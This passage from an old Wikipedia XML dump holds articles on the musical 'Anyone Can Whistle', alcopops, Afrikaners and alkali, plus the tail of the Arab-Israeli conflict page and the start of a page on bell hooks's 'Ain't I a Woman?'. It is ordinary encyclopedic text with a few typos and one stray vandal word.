* [http://www.jewishvirtuallibrary.org/jsource/myths/mftoc.html Myths and Facts of the Arab-Israeli Conflict], extensive collection of questions and answers with maps and documents published by the American-Israeli Cooperative Enterprise
* [http://www.science.co.il/Arab-Israeli-conflict.asp Arab-Israeli Conflict: Basic Facts] from the Israeli Science and Technology Homepage

===Views of the Conflict: Pro-Arab===
* [http://www.wrmea.com/ Washington Report on Mideast Affairs], published by the American Educational Trust, Inc.
* [http://www.aaiusa.org/palestine.htm Arab American Institute] on the Arab-Israeli conflict
* [http://www.jatonyc.org/ Jews Against the Occupation], an American activist organization
* [http://www.gush-shalom.org/english/ Gush Shalom], the Bloc of the Peaceful, an Israeli peace organization founded by Uri Avnery

===Historical Sources===
* [http://www.mideastweb.org/history.htm Source Documents and texts on the Arab-Israeli and Palestinian-Israeli conflict, and history of Israel and Palestine] 
* [http://www.zionismontheweb.org/zionism_documents.htm Source Documents and texts on Zionism and the Creation of Modern Israel] 
* [http://www.mtholyoke.edu/acad/intrel/me.htm Documents related to the Mideast Conflict] from Mt. Holyoke College
* [http://www.yale.edu/lawweb/avalon/mideast/mideast.htm The Avalon Project at Yale Law School] records from 1916-1999

===Maps===
* [http://www.mideastweb.org/maps.htm MideastWeb Middle East Map Collection]
* [http://www.lib.utexas.edu/maps/middle_east.html University of Texas Map Collection]

[[Category:Arab]]
[[Category:Arab-Israeli conflict|*]]
[[Category:History of Israel]]

[[cs:Arabsko-izraelské války]]
[[fr:Conflit israélo-arabe]]
[[he:הסכסוך הישראלי ערבי]]
[[it:Conflitto Arabo-Israeliano]]
[[ja:中東戦争]]
[[ko:중동 전쟁]]
[[nl:Arabisch-Israëlisch conflict]]
[[no:Midtøsten-konflikten]]
[[pl:Konflikt izraelsko-palestyński]]
[[sk:Arabsko-izraelský konflikt]]
[[zh:中东战争]]</text>
    </revision>
  </page>
  <page>
    <title>Anyone Can Whistle</title>
    <id>2950</id>
    <revision>
      <id>36963901</id>
      <timestamp>2006-01-27T17:10:00Z</timestamp>
      <contributor>
        <ip>82.7.17.14</ip>
      </contributor>
      <text xml:space="preserve">{| class=&quot;toccolours&quot; style=&quot;float:right; margin:0 0 0.5em 1em; width:25em;&quot;
|-
|colspan=2 style=&quot;text-align:center;&quot; | '''''[[Broadway_theatre|Broadway]]'' Show'''
|-
|colspan=2 style=&quot;text-align:center;&quot; | 
|-
!colspan=2 style=&quot;font-size: larger; background-color:{{{bgcolor}}}; color:{{{fgcolor}}};&quot; | ''Anyone Can Whistle''
|-
|'''Theatre''' || [[Majestic Theatre]]
|-
|'''Opening Night''' || [[4 April]] [[1964]]
|-
|'''Tony Nominations''' ||1
|-
|'''Tony Awards''' ||0
|-
|'''Author(s)''' || Music and lyrics by [[Stephen Sondheim]]; book by [[Arthur Laurents]]
|-
|'''Director''' || Arthur Laurents
|-
|'''Leading Original Cast Members''' || [[Harry Guardino]], [[Angela Lansbury]] and [[Lee Remick]]
|-
|'''Closing Night''' || [[11 April]] [[1964]]
|-
|}

'''''Anyone Can Whistle''''' is a [[Musical theater|musical]] with music and lyrics by [[Stephen Sondheim]] and book by [[Arthur Laurents]]. It is an imaginative fable about a town going through hard times due to having &quot;manufactured a product that never wore out&quot;, according to its narrator. The mayoress, Cora Hoover Hooper ([[Angela Lansbury]] in the original production), and the town council, Comptroller Schub, Treasurer Cooley, and Police Chief MacGruder hatch a scheme to provide the town with a &quot;miracle&quot; consisting of water pouring from a rock, in the hopes that it will bring tourists to the town and revive its failing economy. However, they are opposed by Fay Apple ([[Lee Remick]]), a nurse at the local sanitarium, The Cookie Jar, who brings her 49 patients (or &quot;cookies&quot;) to the miracle hoping to prove that it is a fake (which it is.) Eventually, her &quot;cookies&quot; escape, leaving the town council to determine &quot;which is what and who is who.&quot; Suddenly a new doctor (or so he claims), J. Bowden Hapgood ([[Harry Guardino]]), appears on the scene, who divides the town into &quot;Group A&quot; and &quot;Group 1&quot; claiming one group is sane and the other loony... but refusing to tell which group is what. However, nothing in the town is what it seems. As expected, hilarity ensues.

''Anyone Can Whistle'' was a financial failure, running only nine performances, but some critics saw it as a musical that was simply ahead of its time, and it has gone on to be a cult favorite, even though there has never been a major revival of the show. The Original Cast Recording, which was made after the show had closed, also has a strong following. Among the songs in the show are the title song, &quot;Me and My Town&quot;, &quot;Everybody Says Don't&quot;, and &quot;With So Little to Be Sure Of&quot;. &quot;There Won't Be Trumpets&quot;, a song cut from the show before its opening, has also become a cabaret favorite.

''Anyone Can Whistle'' opened on [[Broadway theatre|Broadway]] at the Majestic Theatre on [[April 4]], [[1964]], and closed after nine performances. Theatre wags often joke that if everyone who claimed to have seen the original production truly had, the show would still be running on Broadway.

In 1995 a concert reading of the show was performed at [[Carnegie Hall]] in New York as a benefit for the [[Gay Men's Health Crisis]]. The concert was recorded, preserving for the first time musical passages and numbers not included on the original Broadway cast recording. [[Angela Lansbury]] served as narrator, with [[Madeline Kahn]] taking on the role of Cora.  [[Bernadette Peters]] and [[Scott Bakula]] played Fay and Hapgood. Additional cast included [[Harolyn Blackwell]], [[Chip Zien]], [[Ken Page (Actor)|Ken Page]], and [[Harvey Evans]] -the only cast member to reprise his role from the original production.

==External links==
*[http://www.ibdb.com/production.asp?ID=3058 Internet Broadway Database listing]
*[http://www.geocities.com/joecable1997/anyonecanwhistle.html Live, Laugh, Love: Anyone Can Whistle]

[[Category:Musicals]]</text>
    </revision>
  </page>
  <page>
    <title>Althusser</title>
    <id>2951</id>
    <revision>
      <id>15901329</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Louis Althusser]]
</text>
    </revision>
  </page>
  <page>
    <title>Alcopop</title>
    <id>2952</id>
    <revision>
      <id>41771995</id>
      <timestamp>2006-03-01T17:10:38Z</timestamp>
      <contributor>
        <username>Matt Gies</username>
        <id>37551</id>
      </contributor>
      <minor />
      <comment>disambiguate link</comment>
      <text xml:space="preserve">'''Alcopop''' is a term coined by the popular [[Mass media|media]] of the [[United Kingdom]] to describe bottled alcoholic [[beverage]]s that resemble sweet drinks such as soft drinks and lemonade.

In the [[alcoholic beverage]] [[industry]] they are known as '''RTD'''s ('''ready to drink''') or '''FAB'''s ('''Flavoured Alcoholic Beverages'''). These drinks, such as alcoholic [[lemonade]], tend to be [[sweet]], served in small [[bottle]]s (typically 200&amp;ndash;275[[Millilitre|ml]]), and between 5–7% [[alcohol by volume]].  In [[Europe]], alcopops tend to be pre-mixed spirits, including vodka (e.g. [[Smirnoff Ice]]) or rum (e.g. [[Bacardi Breezer]]).  In the [[United States]], alcopops are often [[hop (plant)|un-hopped]] [[beer]]s with added flavoring (&quot;malternative&quot; drinks), which are classified as beers and therefore can be sold in outlets that spirit based drinks could not be.

These drinks emerged onto the market in the mid-[[1990s]] with the launch of [[Merrydown]]'s [[Two Dogs]] and [[Hooper's Hooch]].  [[Zima]], introduced in 1994, was the first widely known and widely purchased alcopop.  Many more have followed, as the drinks became increasingly popular, especially with younger people.

Later, [[Mike's Hard Lemonade]] was released in the [[United States]], with humorous commercials depicting what they called &quot;violence against lemons&quot;. [[Smirnoff]] also came out with another [[citrus]]-[[flavour]]ed [[malt beverage]] in the United States in the late 90s called [[Smirnoff Ice]], which promoted itself with flashy commercials, usually involving trendy young people dancing in unlikely situations and places (In the UK [[Smirnoff Ice]], is marketed by [[Diagio]] as a [[Premium Packaged Spirits (PPS)|PPS]]).

Some parts of the media expressed intense concern that such drinks might appeal to [[child]]ren as they tend to be sweet and brightly coloured. Many [[Alcohol advertising|alcopop advertising campaigns]] have been criticised as trying to make alcopops appeal to young drinkers. However, the majority of those who consume such beverages in the U.S. are over age 27, according to the [[Federal Trade Commission]] (Federal Trade Commission, 2003). Nevertheless concern remains. As a result [[Germany]] has imposed an extra duty of 0.80 to 0.90 [[euro]] per bottle effective [[August 1]], [[2004]]. Some now carry a warning stating that they are not for consumption by minors (under 18 in the UK and 21 in the [[United States]]). Other sweet [[alcoholic beverage]]s that had been around for years, such as [[cider]], [[wine cooler]]s, and [[liqueur]]s, escaped this concern.

While the amount of [[beer]] being sold worldwide has dropped, the sale of alcopops has taken off dramatically. This is thought to be because the sweetness of alcopops appeals to younger drinkers more readily than the taste of [[wine]] or beer, and are less detectable on the drinker's breath.


==Reference==
* ''Alcohol Marketing and Advertising: A Report to Congress''. Washington, DC: Federal Trade Commission, 2003

==See also==
*[[Alcoholic beverage]]
*[[Alcoholism]]
*[[Drunkenness]]
*[[Hangover]]

==External links==
*[http://owen.massey.net/alcopops/ Spin the Bottle: A Consumer's Guide to Alcopops]
*[http://www.portman-group.org.uk Portman Group]
*[http://www2.potsdam.edu/hansondj/InTheNews/UnderageDrinking/1064433210.html Alcohol Marketing and Youth]
*{{dmoz|Recreation/Food/Drink/Beer/Malternatives/|Malternatives}}
[[Category:Alcoholic beverages]]

[[de:Alkopop]]
[[fr:Prémix]]
[[no:Rusbrus]]
[[nn:Rusbrus]]</text>
    </revision>
  </page>
  <page>
    <title>Afrikaner</title>
    <id>2953</id>
    <revision>
      <id>41450072</id>
      <timestamp>2006-02-27T11:32:07Z</timestamp>
      <contributor>
        <ip>220.109.141.4</ip>
      </contributor>
      <comment>+ja</comment>
      <text xml:space="preserve">{{cleanup-date|November 2005}}
{{Otherusesabout|the South African ethnic group}}
{{ethnic group|
|group=Afrikaners
|image=[[Image:Paul_Kruger.jpg|none|250px]]
[[Paul Kruger]], a notable Afrikaner
|poptime='''3 million''' (2005 est. &lt;sup&gt;[[#References|1]]&lt;/sup&gt;)
|popplace=[[Gauteng Province]]: '''1.0 million''',
[[Western Cape Province]]: '''0.55 million''', 
[[North West Province]]: '''0.2 million''', 
[[Free State Province]]: '''0.2 million'''
(2001 est. &lt;sup&gt;[[#References|1]]&lt;/sup&gt;)
|rels=[[Christianity|Christian]] [[Protestant]] 
|langs=[[Afrikaans]]
|related=[[Coloured]]s [[Dutch people|Dutch]] [[French people|French]] [[German people|German]] [[Frisians]] [[Flemish people|Flemish]] [[Walloons]] [[Scottish people|Scots]] [[Griqua]] [[Baster]]
}}

'''Afrikaners''' are [[South Africa|South Africans]] of predominantly  [[Dutch people|Dutch]] [[Calvinism|Calvinist]], [[French people|French]] [[Huguenot]], [[German people|German]] [[Protestant]], [[Frisian]], [[Flemish people|Flemish]], and [[Walloon]] descent who speak the [[Afrikaans language]]. Afrikaners are also sometimes referred to as ''[[Boer]]s''  (Afrikaans for ''farmer'') as a significant percentage are descended from cultural Boers, but many Afrikaners now view this as a derogatory term. 

==History==
Afrikaners are mainly descended from northwestern European settlers and religious refugees who lived in the [[Cape Colony|Cape of Good Hope]] during the period of administration ([[1652]]-[[1795]]) by the [[Dutch East India Company]] (''Verenigde Oostindische Compagnie'' or VOC) and the subsequent period of British rule. The original colony at the Cape, which was started as a refreshment station for the VOC, was first settled by the Dutch in 1652. The arrival in 1688 of a small group of French [[Huguenots]] who were fleeing religious persecution in France infused new blood and swelled the settlers' numbers. Some settlers from other parts of Europe (e.g. [[Scandinavia]] and the [[British Isles]]) also joined the ranks of the Afrikaners. Non-Europeans (including [[Cape Malays|Malay]], [[Demographics of Madagascar|Malagasy]], [[South India]]n, [[Khoi]] and [[Bantu]]) makeup around 5-7% of Afrikaner origins. 

The Afrikaans language changed over time from the Dutch spoken by the first white settlers at the Cape. From the late 17th century, the form of Dutch spoken at the Cape developed differences in pronunciation and accidence and, to a lesser extent, in syntax and vocabulary, from that of the Netherlands, although the languages are still similar enough to be mutually intelligible (with some effort). Settlers who arrived speaking German and French soon shifted to using Dutch and later Afrikaans. The process of language change was influenced by the languages spoken by slaves, Khoikhoi and people of mixed descent, as well as by Cape Malay and Portuguese. While the Dutch of the Netherlands remained the official language, the new dialect, often known as Cape Dutch, African Dutch or &quot;Kitchen Dutch,&quot; developed into a separate language by the 19th century. In 1925 this new language replaced standard Dutch as one of the two official languages of the [[Union of South Africa]]

The term Afrikaner encompasses disparate communities of white Afrikaans speakers. Originally it distinguished those Dutch speakers who saw themselves as local, i.e. &quot;African&quot;, from those who still primarily identified with Europe; it was later used to distinguish between Afrikaans speakers and English speakers among the white population.  Its earliest use dates from [[1707]] but was not widely used until after the [[Second Anglo-Boer War]] of the early [[20th century]].  Prior to then, the various white Afrikaans speaking communities were known under different names. A significant number were known as Boers (farmers). The semi-nomadic/migrating farmers of the eastern frontier were known as Trekboers. Those who lived in the western Cape and did not trek eastward were known as the [[Cape Dutch]]. The isolated pioneers from the eastern Cape frontier who trekked (migrated into the interior) en masse in a series of migrations later known as the [[Great Trek]] (Groote Trek) were known as [[Voortrekkers]] (which may be translated as 'forerunners'). A small number of Voortrekkers came from the western Cape as well.   

In the [[1830s]] and [[1840s]] an estimated 12,000 Voortrekkers penetrated the future Natal, Orange Free State and Transvaal provinces  putting themselves beyond the reach of British authority in order to escape relentless border wars, British colonialism including its Anglicization polices, as well as to ease pressure on an overcrowding frontier where land was becoming scarce. While some historians claim that these series of mass migrations, later known as the Great Trek, were caused because the Boers did not agree with the British restrictions on [[slavery]], the fact of the matter is most [[Trekboers]] did not own slaves, unlike the Cape Dutch, their more affluent cousins in the western Cape who did not trek eastward and migrate or participate in the Great Trek. The vast majority of Voortrekkers were Trekboers from the eastern Cape who engaged in pastoralism.  Nevertheless, the British promulgation of Ordinance 50 in 1828, which guaranteed equal rights before the law to all &quot;free persons of colour&quot;, was indeed a factor in Boer discontent, as is well documented by numerous contemporary sources; the various republics founded by the Voortrekkers while prohibiting slavery itself would all enshrine inequality by race into their constitutions. 

The Great Trek was mainly the result of the &quot;bursting of the dam&quot; of pent up population migration and population pressures, as Trekboer migrations eastward had come to a virtual stop for at least three decades (though some Trekboers did migrate beyond the Orange River prior to the Great Trek). During the ''Great Trek'' they fought against the [[Zulu]]s after Voortrekker leaders [[Piet Retief]] and [[Gerhard Maritz]], along with almost half of their followers, were lured under the pretence of a land treaty and massacred by King [[Dingane]] and his warriors, who occupied the best land in some of the areas the Boers were attempting to trek into. Although in revenge the forces of [[Andries Wilhelmus Jacobus Pretorius|Andries Pretorius]] killed about 3000 Zulus after the Boers initially came under attack in the [[Battle of Blood River]] in a classic mismatch between guns and spears. Retief and the local Voortrekkers had performed several deeds for [[Dingane]] and came to finalise the treaty in which the Voortrekkers were granted lands in [[Dingan]]'s kingdom before Dingane changed his mind killing Retief, his delegation, and half of the Natal contingent of Voortrekkers. The Zulu resistance changed the direction of the Trek. The emphasis moved from occupying lands which the Zulu held sway over east of the [[Drakensberg]] mountains to the west of them and onto the high veld of the [[Transvaal]] and Transorangia which was lightly occupied due to the devastation of the [[Mfecane]].

The Boers created independent states in what is now South Africa: the [[Natalia Republic]], the [[Transvaal]] Republic (the [[South African Republic]]) and the [[Orange Free State]]. The British wish to appropriate the gold and diamonds mines in the Boer areas led to the two Boer Wars: The [[First Boer War]] (1880-1881) and the [[Second Boer War]] (1899-1902), which ended with the inclusion of the Boer areas in the British colonies. The Boers won the first war, but lost the second after being one of the first people in modern times to employ guerilla tactics. Canada participated in this war being requested by its motherland. One of the first [[concentration camp]]s in the modern era were built for women, the elderly, and children of the Boers and their black allies. An estimated twenty seven thousand Boer civilians (mainly children under sixteen) died in the concentration camps marking a death of about 15 percent of the local Boer population. About 15,000 black allies died in other concentration camps as well.  A large number of the prisoners died under the British administration of the camps.  Following the British annexation of the Boer republics, the creation of the [[South Africa|Union of South Africa]] ([[1910]]) went some way towards blurring the division between British settler and Afrikaner.  The black majority, however, was excluded from equal participation in the affairs of the State and country, except for the states which were self governed ([[Qwaqwa]], [[Zululand]], [[Ciskei]], [[Transkei]], [[Venda]], [[Bophutatswana]]) until [[1994]], owing first to the [[United Kingdom|British]] colonial policies and then later to an Afrikaner-led political party's policy of [[History of South Africa in the Apartheid Era|apartheid]], (the [[Afrikaans]] word for &quot;aparthood&quot; or &quot;separation&quot;), particularly under the [[National Party (South Africa)|National Party]] from [[1948]].

==Today==
In recent years there has been an movement by some Afrikaners to support the mixed race (&quot;[[coloured]]&quot;) population of South Africa, most of whom speak Afrikaans as their first language, to consider themselves Afrikaners. The Afrikaans-speaking people who aren't [[Caucasian]] or who are Coloured people of South Africa, Nambia, and other Afrikaans-speaking locations, go by many names. These names include, &quot;[[kleurlinge]]&quot;, &quot;[[basters]]&quot;, &quot;[[griqua]]&quot;, &quot;[[namaqua]]&quot;, or &quot;[[khoikhoi]]&quot;. They are sometimes called &quot;bruin afrikaners&quot; (meaning '''brown Afrikaners'''), or &quot;bruinmense&quot; (meaning '''brown people'''). This has seen some success despite the history of exclusion during the colonial and apartheid eras. However, many Afrikaans-speaking coloureds feel they have developed a separate identity from [[whites|white]] Afrikaans speakers due to the strict [[racial segregation]] policies of the apartheid years.

Recently, some liberal Afrikaans-speaking South Africans and Namibians have started rejecting the label 'Afrikaner', because of its negative connotations of racism, conservatism and religious intolerance. Some use the racially neutral term &quot;Afrikaanses&quot; to refer to themselves as persons whose mother tongue is Afrikaans, disregarding racial identity or apartheid-era categorisation.

A group of Afrikaners has settled in the town of [[Orania]], with the goal of ultimately gaining a [[Volkstaat]] for Afrikaners as a result of Afrikaner demographic consolidation.

==Afrikaner versus Boer==
Currently, a number of white Afrikaans-speaking people, mainly with &quot;conservative&quot; political views, prefer to be called &quot;[[Boer|Boers]]&quot;, rather than &quot;Afrikaners&quot;. They feel that there were many people of [[Voortrekker]] descent who were not co-opted or assimilated into what they see as the [[Cape Province|Cape]]-based Afrikaner identity which began emerging after the [[Second Anglo-Boer War]] and the subsequent establishment of the [[Union of South Africa]]. 

They contend that the Boers of the [[South African Republic|South African]] (ZAR) and [[Orange Free State]] republics were recognized as a separate people or cultural group under international law by the Sand River Convention (which created the South African Republic in [[1852]]), the Bloemfontein Convention (which created the Orange Free State Republic in [[1854]]), the Pretoria Convention (which re-established the independence of the South African Republic [[1881]]), the London Convention (which granted the full independence to the South African Republic in [[1884]]) and the [[Peace of Vereeniging|Vereeniging Peace Treaty]], which formally ended the [[Second Anglo-Boer War]] on [[31 May]] [[1902]]. Others contend, however, that these treaties dealt only with agreements between governmental entities and do not imply the recognition of a Boer cultural identity ''per se''.  

The supporters of these views feel that the Afrikaner designation (or label) was used from the [[1930s]] onwards as a means of unifying (politically at least) the white Afrikaans speakers of the Western Cape with those of Trekboer and Voortrekker descent (whose ancestors began migrating eastward during the 1690s and throughout the 1700s and later northward during the [[Great Trek]] of the 1830s) in the north of South Africa, where the Boer Republics were established.

The supporters of the &quot;Boer&quot; designation view the Afrikaner designation as an artificial political label which usurped their history and culture turning &quot;Boer&quot; achievements into &quot;Afrikaner&quot; achievements. They feel that the Western-Cape based Afrikaners — whose ancestors did not trek eastwards or northwards — took advantage of the republican Boers' destitution following the Anglo-Boer War and later attempted to assimilate the Boers into a new politically-based cultural label as &quot;Afrikaners&quot;.

==Notable historic Afrikaners==
* [[Andries Hendrik Potgieter]] [[Voortrekker]] leader
* [[Andries Pretorius]] Voortrekker leader
* [[Daniel François Malan|D.F. Malan]] [[Prime minister]] (1948 - 1954), elected on [[Apartheid]] platform
* [[Eugene Marais]] Poet
* [[Hendrik Frensch Verwoerd|Hendrik Verwoerd]] Prime minister (1958 - 1966) and considered architect of Apartheid
* [[James Barry Munnik Hertzog|J.B.M. Hertzog]] Prime minister (1920 - 1921), (1924 - 1939)
* [[Johannes Gerhardus Strijdom|J.G. Strijdom]] Prime minister (1954 - 1958)
* [[Jan Smuts]] Statesman (1870 - 1950)
* [[Louis Botha]] First prime minister of South Africa (1910 - 1919) and former Boer general
* [[Olive Schreiner]] Author (1855 - 1920)
* [[Paul Kruger]] President of the [[Transvaal Republic]]
* [[Petrus Jacobus Joubert]] Boer general and cabinet member of the Transvaal Republic government
* [[Piet Retief]] Voortrekker leader
* [[Sailor Malan]] [[World War II]] [[Royal Air Force|RAF]] fighter pilot (1910 - 1963)
* [[Sarel Cilliers]] Voortrekker leader
* [[Siener van Rensburg]] Prophet

==Notable contemporary Afrikaners==
* [[Andre Brink|André P Brink]] Author
* [[Andre Stander]] Notorious bank robber
* [[Antjie Krog]] Author
* [[Arnold Vosloo]] Actor ([[The Mummy (1999 movie)|''The Mummy'']], [[24 (television)|''24'']])  (1962 -)
* [[Athol Fugard]] Playwright (1922 - )
* [[Beyers Naudé]] Cleric, theologian and anti-apartheid activist
* [[Bram Fischer]] Advocate and fugitive leader of the [[South African Communist Party]]
* [[Breyten Breytenbach]] Poet  (1938 - )
* [[Casper de Vries]] Comedian
* [[Charlize Theron]]  [[Academy-Award]] winning actress (1975 - )
* [[Christiaan Barnard]] Performed the first [[heart transplant]] (1922 - 2001)
* [[Constand Viljoen]] Former head of the [[SADF]] (1980 - 1985) and leader of the [[Freedom Front]] (1994 - 2001)
* [[Ernie Els]] Golfer (1969 - )
* [[Ernst van Heerden]] Poet
* [[Ettienne le Roux]] Author (1922 - 1989)
* [[Eugène Terre'Blanche]] Controversial Boer irredentist / former White supremacist  
* [[F.W. de Klerk]] Statesman (1936 - ) President of the Republic of South Africa from 1989 - 1994. 
* [[Francois Pienaar]] [[Springboks]] rugby captain during the team's victory in the [[1995 Rugby Union World Cup]]
* [[Frederik van Zyl Slabbert]] Politician
* [[Hestrie Cloete]] (1978 - ) High jumper
* [[J.M. Coetzee]] Nobel-Prize winning author (1940  - )
* [[Jan Breytenbach]] Founder of the [[South African Special Forces Brigade]]
* [[Gert Potgieter]] Former 400m hurdles world record holder.
* [[Gerrie Coetzee]] Former world heavy weight boxing champion.
* [[ Corrie Saunders]] Former world heavy weight boxing champion.
* [[Johan Degenaar]] Philosopher
* [[Johan Heynz]] Theologian
* [[Koos du Plessis]] Singer songwriter
* [[Koos Kombuis]] Singer songwriter
* [[Laurens van der Post]] Author (1906-1996)
* [[Leon Schuster]] Comedian
* [[Lina Spies]] Poet (1939 - )
* [[Okkert Brits]] [[Pole vault|Pole-vaulter]]
* [[Pieter Willem Botha|P.W. Botha]] Prime minister (1978 - 1984), first executive president of the Republic of South Africa (1984 - 1989)
* [[Retief Goosen]] Golfer
* [[Richard E. Grant]] Actor (1957 - ) (Born Richard Grant Esterhuysen)
* [[T.T. Cloete]] Poet
* [[Zola Budd]] Long distance athelete

Hundreds of Afrikaner South Africans have represented South Africa at [[rugby union]]. The most famous include [[Paul Roos]] (original Springbok captain), [[Boy Morkel]], [[Boy Louw]], [[Chris Koch]], [[Frik du Preez]], [[Danie Craven]] (widely considered the greatest Springbok ever), [[Morne du Plessis]], [[Naas Botha]], [[Francois Pienaar]], [[Joost van der Westhuizen]], [[Corné Krige]], [[Os du Randt]],[[Marius Joubert]], [[Schalk Burger]].

==See also==
* [[Afrikaner Calvinism]]
* [[Anglo-African]]s
* [[Boers]]
* [[Cape Coloured]]s
* [[Cape Dutch]]
* [[Cape Malay]]
* [[Culture of South Africa]]
* [[Orania]]
* [[South African Farmer Murders]]
* [[Trekboers]] 
* [[Volkstaat]]
* [[Voortrekkers]]

==References==
*&lt;sup&gt;1&lt;/sup&gt; [http://www.statssa.gov.za/census01/html/default.asp South African Census 2001]
* Hermann Giliomee, ''The Afrikaners: Biography of a People'', University of Virginia Press, 2003

==External links==
*[http://www.statssa.gov.za/census2001/digiAtlas/index.html 2001 Digital Census Atlas]
*[http://www.home.intekom.com/southafricanhistoryonline/pages/specialprojects/Luli/Place-in-the-city/Unit4/unit4.htm Afrikaner Nationalism Captures The State.]  
*[http://strategyleader.org/profiles/afrikaner.html The Afrikaners of South Africa.]  
*[http://www.tlfq.ulaval.ca/axl/afrique/afriquesud.htm Afrique du Sud]
*[http://fr.encarta.msn.com/text_761557321___83/Afrique_du_Sud.html] (in French)
*[http://www.geocities.com/history4may/history/h4may/h4may31.html  Boer soldiers]
*[http://countrystudies.us/south-africa/11.htm British Policies and Afrikaner Discontent]
*[http://www.geocities.com/Athens/Rhodes/1266/genetic2.htm The genetic heritage of one Afrikaner family]

{{Ethnic Groups South Africa}}

[[Category:Ethnic groups in South Africa]]

[[af:Afrikaner]]
[[bg:Бури]]
[[da:Boer]]
[[de:Afrikaaner]]
[[et:Afrikandrid]]
[[fr:Afrikaner]]
[[it:Afrikaner]]
[[he:אפריקאנרים]]
[[ja:アフリカーナー]]
[[lt:Būrai]]
[[nl:Boeren]]
[[no:Boer]]
[[pl:Burowie (nowożytni)]]
[[pt:Africânder]]
[[simple:Afrikaner]]
[[sh:Afrikaneri]]
[[sv:Boer]]
[[zh:阿非利卡人]]</text>
    </revision>
  </page>
  <page>
    <title>Alkali</title>
    <id>2955</id>
    <revision>
      <id>40924730</id>
      <timestamp>2006-02-23T22:38:28Z</timestamp>
      <contributor>
        <ip>216.160.170.178</ip>
      </contributor>
      <text xml:space="preserve">''For the battery, see [[alkaline battery]]''

----

The word '''alkali''' can mean:-
*In [[chemistry]], an alkali is a specific type of [[Base (chemistry)|base]], formed as a [[carbonate]], [[hydroxide]] or other [[Ionic compound|ionic]] [[salt]] of an [[Alkali metal|alkali metal]] or [[Alkaline earth metal|alkali earth metal]] [[Chemical element|element]]. The word alkali or the adjective '''alkaline''' are frequently used to refer to all bases, since most common bases are alkalis, although such use is really a [[synecdoche]].
*In the western parts of the USA, natural soda or potash deposits (soda and potash themselves are both alkali salts).
*[http://www.tomlaidlaw.com/clickable/alkali.html Alkali Springs] is a place in [[Oregon]] in the USA.
*Alkali is also the [[NATO reporting name]] of the [[Kaliningrad K-5]] air-to-air missile.

== Common properties of alkalis ==

Alkalis are all [[Svante Arrhenius|Arrhenius]] bases and share many properties with other chemicals in this group (Arrhenius bases form hydroxide ions when dissolved in water). Common properties of alkaline solutions include:

* Alkalis all form [[aqueous]] [[solutions]].
* Alkalis are bitter to taste (compared with acid solutions which are described as sour).
* Caustic (causing chemical burns).
* Slippery or soapy to the touch (due to the caustic reaction dissolving the surface of the skin and fingerprint).
* Alkalis have a [[pH]] greater than 7 and hence can be detected with [[litmus]] paper (litmus will turn blue on contact with an alkali).
* Another common test for alkalis is the use of [[phenolphthalein]] since it turns from colourless to pink when the pH moves from 8 to 10 (making it suitable for detecting all but the most dilute solutions of alkalis).

== Confusion between base and alkali ==

The terms [[Base (chemistry)|base]] and '''alkali''' are often used interchangeably, since most common bases are alkalis. It is common to speak of &quot;measuring the alkalinity of soil&quot; when you actually mean measuring the [[pH]] (base property). Similarly, bases which are not alkalis, like [[ammonia]], are sometimes erroneously referred to as alkaline.

Note that not all or even most salts formed by [[Alkali metal|alkali metals]] are alkaline or even [[Base (chemistry)|basic]].

== Alkali salts ==

Most basic [[salt]]s are alkali salts.

Common alkali salts include:

* [[sodium hydroxide]] (often called &quot;caustic soda&quot;)
* [[potassium hydroxide]] (commonly called &quot;potash&quot;)
* [[lye]] (generic term, for either of the previous two, or even for a mixture)
* [[calcium carbonate]] (sometimes called &quot;free lime&quot;)

== Alkali soil ==

Soil with a pH above 7.4 is normally referred to as alkaline. This soil property can occur naturally, due to the presence of alkali salts. Although some plants do prefer slightly basic soil (including cabbage family vegetables and buffalograss), most plants prefer a mildly acidic soil (pH between 6.0 and 6.8), and high pH levels can cause a problem.

In alkali lakes (a type of [[salt lake]]), evaporation concentrates the naturally occurring alkali salts, often forming a crust of mildly basic 
salt across a large area.

Examples of Alkali Lakes:

Redberry Lake, Saskatchewan, Canada.

Tramping Lake, Saskatchewan, Canada.

==Etymology==

The word &quot;alkali&quot; is derived from Arabic ''al qalīy'' = &quot;the calcined ashes&quot;, referring to the original source of alkaline substance. Ashes were used in conjunction with animal fat to produce [[soap]], a process known as [[saponification]].

[[Category:Inorganic chemistry]]
[[Category:Arabic words]]

[[de:Alkali]]
[[et:Leelis]]
[[es:Álcali]]
[[fr:alcali]]
[[ru:Щёлочи]]
[[simple:Alkali]]
Alkali tut</text>
    </revision>
  </page>
  <page>
    <title>Ain't I a Woman? (book)</title>
    <id>2956</id>
    <revision>
      <id>40204914</id>
      <timestamp>2006-02-18T23:14:22Z</timestamp>
      <contributor>
        <username>Melaen</username>
        <id>136864</id>
      </contributor>
      <comment>I shouldn't fix the capitalization (!) beel hooks is not capitalized</comment>
      <text xml:space="preserve">'''''Ain't I a Woman?: Black women and feminism''''' is a 1981 book by [[bell hooks]] titled after [[Sojourner Truth]]'s &quot;[[Ar'n't I a Woman?|Ain't I a Woman?]]&quot;, ISBN 089608129X. Hooks examines the effect of [[racism]] and [[sexism]] on black women, the [[civil right]]s movement, and [[feminist]] movements from [[suffrage]] to the seventies. She argues that the convergence of sexism and racism during slavery contributed to black women having the lowest status and worst conditions of any group in American society. White female [[abolition]]ists and suffragists were often more comfortable with black male abolitionists such as [[Frederick Douglass]], while southern [[Racial segregation|segregation]]alists and stereotypes of black female promiscuity and immorality caused protests whenever black women spoke. Hooks points out that these white female reformers were more concerned with white morality than the conditions these morals caused black Americans.

Further, she argues that the stereotypes that were set during slavery still affect black women today. She argues that slavery allowed white society to stereotype white women as the pure goddess virgin and move black women to the seductive whore stereotype formerly placed on all women. This has allowed the justification of the devaluation of black femininity and rape which continues to this day. The work which black women have been forced to perform, either in slavery or in a discriminatory work place, that would be non-gender conforming for white women has been used against black women as a proof of their emasculating behaviour. bell hooks argued that [[black nationalism]] was largely a patriarchical and [[misogynist]] movement and thus that it sought to overcome racial divisions by strengthening sexist ones, that it readily latched onto the idea of the emasculating black ''[[matriarch]]'' proposed by [[Daniel Patrick Moynihan]] whose theories are repeatedly criticised by belle hooks. &lt;!-- The intended meaning here is a little unclear. --&gt;

